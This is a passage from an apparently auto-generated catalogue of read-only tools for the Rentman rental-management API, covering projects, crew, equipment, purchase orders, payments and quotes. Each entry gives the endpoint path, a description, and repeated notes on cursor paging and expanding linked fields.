"/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leaverequest GET /api/v1/rentman/leaverequest. Scopes: api. rentman_get_leaverequest_by_id (read) — Get LeaveRequest item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leaverequest/{id} GET /api/v1/rentman/leaverequest/{id}. Scopes: api. rentman_get_leaverequest_by_id_timeregistration (read) — Get TimeRegistration collection -- With this endpoint, you could retrieve time registrations and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leaverequest/{id}/timeregistration GET /api/v1/rentman/leaverequest/{id}/timeregistration. Scopes: api. rentman_get_leavetypes (read) — Get LeaveTypes collection -- With this endpoint, you could work with leave types and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leavetypes GET /api/v1/rentman/leavetypes. Scopes: api. rentman_get_leavetypes_by_id (read) — Get LeaveTypes item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leavetypes/{id} GET /api/v1/rentman/leavetypes/{id}. Scopes: api. rentman_get_ledgercodes (read) — Get Ledger collection -- Ledger codes are the codes defining the type of trade for an invoice line. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /ledgercodes GET /api/v1/rentman/ledgercodes. Scopes: api. rentman_get_ledgercodes_by_id (read) — Get Ledger item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /ledgercodes/{id} GET /api/v1/rentman/ledgercodes/{id}. Scopes: api. rentman_get_payments (read) — Get Payment collection -- Represents payments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /payments GET /api/v1/rentman/payments. Scopes: api. rentman_get_payments_by_id (read) — Get Payment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /payments/{id} GET /api/v1/rentman/payments/{id}. Scopes: api. rentman_get_projectcrew (read) — Get ProjectCrew collection -- Represents the planning of crewmembers on Functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectcrew GET /api/v1/rentman/projectcrew. Scopes: api. rentman_get_projectcrew_by_id (read) — Get ProjectCrew item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectcrew/{id} GET /api/v1/rentman/projectcrew/{id}. Scopes: api. rentman_get_projectequipment (read) — Get ProjectEquipment collection -- Represents equipment items planned in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectequipment GET /api/v1/rentman/projectequipment. Scopes: api. rentman_get_projectequipment_by_id (read) — Get ProjectEquipment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectequipment/{id} GET /api/v1/rentman/projectequipment/{id}. Scopes: api. rentman_get_projectequipmentgroup (read) — Get ProjectEquipmentGroup collection -- Equipment groups of a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectequipmentgroup GET /api/v1/rentman/projectequipmentgroup. Scopes: api. rentman_get_projectequipmentgroup_by_id (read) — Get ProjectEquipmentGroup item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectequipmentgroup/{id} GET /api/v1/rentman/projectequipmentgroup/{id}. Scopes: api. rentman_get_projectequipmentgroup_by_id_projectequipment (read) — Get ProjectEquipment collection -- Represents equipment items planned in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectequipmentgroup/{id}/projectequipment GET /api/v1/rentman/projectequipmentgroup/{id}/projectequipment. Scopes: api. rentman_get_projectfunctiongroups (read) — Get ProjectFunctionGroup collection -- Function groups inside a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctiongroups GET /api/v1/rentman/projectfunctiongroups. Scopes: api. rentman_get_projectfunctiongroups_by_id (read) — Get ProjectFunctionGroup item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctiongroups/{id} GET /api/v1/rentman/projectfunctiongroups/{id}. Scopes: api. rentman_get_projectfunctiongroups_by_id_projectfunctions (read) — Get ProjectFunction collection -- A function is a task that needs to be performed. Functions are connected to subprojects (and projects). Functions can be grouped inside function groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctiongroups/{id}/projectfunctions GET /api/v1/rentman/projectfunctiongroups/{id}/projectfunctions. Scopes: api. rentman_get_projectfunctions (read) — Get ProjectFunction collection -- A function is a task that needs to be performed. Functions are connected to subprojects (and projects). Functions can be grouped inside function groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctions GET /api/v1/rentman/projectfunctions. Scopes: api. rentman_get_projectfunctions_by_id (read) — Get ProjectFunction item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctions/{id} GET /api/v1/rentman/projectfunctions/{id}. Scopes: api. rentman_get_projectfunctions_by_id_projectcrew (read) — Get ProjectCrew collection -- Represents the planning of crewmembers on Functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctions/{id}/projectcrew GET /api/v1/rentman/projectfunctions/{id}/projectcrew. Scopes: api. rentman_get_projectfunctions_by_id_projectvehicles (read) — Get ProjectVehicle collection -- Represents the vehicles planned for a function. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectfunctions/{id}/projectvehicles GET /api/v1/rentman/projectfunctions/{id}/projectvehicles. Scopes: api. rentman_get_projectrequestequipment (read) — Get ProjectRequestEquipment collection -- Project Request Equipment are equipment items linked to the Project Request. You can use this to add equipment items in a raw data format to the Project Request. The equipment items will be matched to the existing equipment items in the account when converting the Project Request into a Project in the Rentman interface. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectrequestequipment GET /api/v1/rentman/projectrequestequipment. Scopes: api. rentman_get_projectrequestequipment_by_id (read) — Get ProjectRequestEquipment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectrequestequipment/{id} GET /api/v1/rentman/projectrequestequipment/{id}. Scopes: api. rentman_get_projectrequests (read) — Get ProjectRequest collection -- Project Requests are incoming requests from external sources that allows you to turn into projects. These could come from another Rentman user, that is using the internal subrent request feature. By making also the POST endpoint available in the API, you can now also push these from other applications. For example from your CRM system, a form on your website, or any other source. The benefit of using Project Requests is that you can provide the data in a raw format. While converting a Project Request into a project from the Rentman interface, you can match this data to existing contacts, equipments etc. No need to set up complicated logic to fetch these items using the API first. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectrequests GET /api/v1/rentman/projectrequests. Scopes: api. rentman_get_projectrequests_by_id (read) — Get ProjectRequest item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectrequests/{id} GET /api/v1/rentman/projectrequests/{id}. Scopes: api. rentman_get_projectrequests_by_id_projectrequestequipment (read) — Get ProjectRequestEquipment collection -- Project Request Equipment are equipment items linked to the Project Request. You can use this to add equipment items in a raw data format to the Project Request. The equipment items will be matched to the existing equipment items in the account when converting the Project Request into a Project in the Rentman interface. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectrequests/{id}/projectrequestequipment GET /api/v1/rentman/projectrequests/{id}/projectrequestequipment. Scopes: api. rentman_get_projects (read) — Get Project collection -- Projects are the cornerstone of Rentman. Projects are connected to many other items. Projects always include one or more subprojects. When the user interface does not show any subprojects there is in fact a single one. See the /subprojects endpoint for more information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects GET /api/v1/rentman/projects. Scopes: api. rentman_get_projects_by_id (read) — Get Project item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id} GET /api/v1/rentman/projects/{id}. Scopes: api. rentman_get_projects_by_id_contracts (read) — Get Contract collection -- Represents contracts. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/contracts GET /api/v1/rentman/projects/{id}/contracts. Scopes: api. rentman_get_projects_by_id_costs (read) — Get ProjectCost collection -- Represents additional costs in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/costs GET /api/v1/rentman/projects/{id}/costs. Scopes: api. rentman_get_projects_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/file_folders GET /api/v1/rentman/projects/{id}/file_folders. Scopes: api. rentman_get_projects_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/files GET /api/v1/rentman/projects/{id}/files. Scopes: api. rentman_get_projects_by_id_projectcrew (read) — Get ProjectCrew collection -- Represents the planning of crewmembers on Functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectcrew GET /api/v1/rentman/projects/{id}/projectcrew. Scopes: api. rentman_get_projects_by_id_projectequipment (read) — Get ProjectEquipment collection -- Represents equipment items planned in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectequipment GET /api/v1/rentman/projects/{id}/projectequipment. Scopes: api. rentman_get_projects_by_id_projectequipmentgroup (read) — Get ProjectEquipmentGroup collection -- Equipment groups of a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectequipmentgroup GET /api/v1/rentman/projects/{id}/projectequipmentgroup. Scopes: api. rentman_get_projects_by_id_projectfunctiongroups (read) — Get ProjectFunctionGroup collection -- Function groups inside a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectfunctiongroups GET /api/v1/rentman/projects/{id}/projectfunctiongroups. Scopes: api. rentman_get_projects_by_id_projectfunctions (read) — Get ProjectFunction collection -- A function is a task that needs to be performed. Functions are connected to subprojects (and projects). Functions can be grouped inside function groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectfunctions GET /api/v1/rentman/projects/{id}/projectfunctions. Scopes: api. rentman_get_projects_by_id_projectvehicles (read) — Get ProjectVehicle collection -- Represents the vehicles planned for a function. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/projectvehicles GET /api/v1/rentman/projects/{id}/projectvehicles. Scopes: api. rentman_get_projects_by_id_quotes (read) — Get Quotation collection -- Represents quotes. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/quotes GET /api/v1/rentman/projects/{id}/quotes. Scopes: api. rentman_get_projects_by_id_subprojects (read) — Get Subproject collection -- Subprojects are part of projects. All projects include at least one subproject. Information that differs from subproject to subproject, e.g. location, is retrieved in this endpoint. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/subprojects GET /api/v1/rentman/projects/{id}/subprojects. Scopes: api. rentman_get_projects_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projects/{id}/tasks GET /api/v1/rentman/projects/{id}/tasks. Scopes: api. rentman_get_projectstatuses (read) — Get ProjectStatus collection -- Get project status objects. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectstatuses GET /api/v1/rentman/projectstatuses. Scopes: api. rentman_get_projectstatuses_by_id (read) — Get ProjectStatus item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectstatuses/{id} GET /api/v1/rentman/projectstatuses/{id}. Scopes: api. rentman_get_projecttypes (read) — Get ProjectType collection -- Get a specific project type. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projecttypes GET /api/v1/rentman/projecttypes. Scopes: api. rentman_get_projecttypes_by_id (read) — Get ProjectType item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projecttypes/{id} GET /api/v1/rentman/projecttypes/{id}. Scopes: api. rentman_get_projectvehicles (read) — Get ProjectVehicle collection -- Represents the vehicles planned for a function. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectvehicles GET /api/v1/rentman/projectvehicles. Scopes: api. rentman_get_projectvehicles_by_id (read) — Get ProjectVehicle item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /projectvehicles/{id} GET /api/v1/rentman/projectvehicles/{id}. Scopes: api. rentman_get_purchaseordercosts (read) — Get PurchaseOrderCost collection -- Represents line items within a purchase order. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseordercosts GET /api/v1/rentman/purchaseordercosts. Scopes: api. rentman_get_purchaseordercosts_by_id (read) — Get PurchaseOrderCost item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseordercosts/{id} GET /api/v1/rentman/purchaseordercosts/{id}. Scopes: api. rentman_get_purchaseorderglobalcosts (read) — Get PurchaseOrderGlobalCost collection -- Represents global costs of a purchase order. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorderglobalcosts GET /api/v1/rentman/purchaseorderglobalcosts. Scopes: api. rentman_get_purchaseorderglobalcosts_by_id (read) — Get PurchaseOrderGlobalCost item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorderglobalcosts/{id} GET /api/v1/rentman/purchaseorderglobalcosts/{id}. Scopes: api. rentman_get_purchaseorders (read) — Get PurchaseOrder collection -- Represents purchase orders. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders GET /api/v1/rentman/purchaseorders. Scopes: api. rentman_get_purchaseorders_by_id (read) — Get PurchaseOrder item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id} GET /api/v1/rentman/purchaseorders/{id}. Scopes: api. rentman_get_purchaseorders_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/file_folders GET /api/v1/rentman/purchaseorders/{id}/file_folders. Scopes: api. rentman_get_purchaseorders_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/files GET /api/v1/rentman/purchaseorders/{id}/files. Scopes: api. rentman_get_purchaseorders_by_id_invoicelines (read) — Get InvoiceLine collection -- Invoice lines are generated lines based on tax rates and ledgers of the items within an invoice. They sum up to the total of the invoice. Useful for exporting to accounting systems. It is currently not possible to get the exact same details which are displayed on the invoice pdf, since that depends on the used document template. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/invoicelines GET /api/v1/rentman/purchaseorders/{id}/invoicelines. Scopes: api. rentman_get_purchaseorders_by_id_purchaseordercosts (read) — Get PurchaseOrderCost collection -- Represents line items within a purchase order. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/purchaseordercosts GET /api/v1/rentman/purchaseorders/{id}/purchaseordercosts. Scopes: api. rentman_get_purchaseorders_by_id_purchaseorderglobalcosts (read) — Get PurchaseOrderGlobalCost collection -- Represents global costs of a purchase order. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/purchaseorderglobalcosts GET /api/v1/rentman/purchaseorders/{id}/purchaseorderglobalcosts. Scopes: api. rentman_get_purchaseorders_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /purchaseorders/{id}/tasks GET /api/v1/rentman/purchaseorders/{id}/tasks. Scopes: api. rentman_get_quotes (read) — Get Quotation collection -- Represents quotes. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /quotes GET /api/v1/rentman/quotes. Scopes: api. rentman_get_quotes_by_id (read) — Get Quotation item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /quotes/{id} GET /api/v1/rentman/quotes/{id}. Scopes: api. rentman_get_quotes_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to 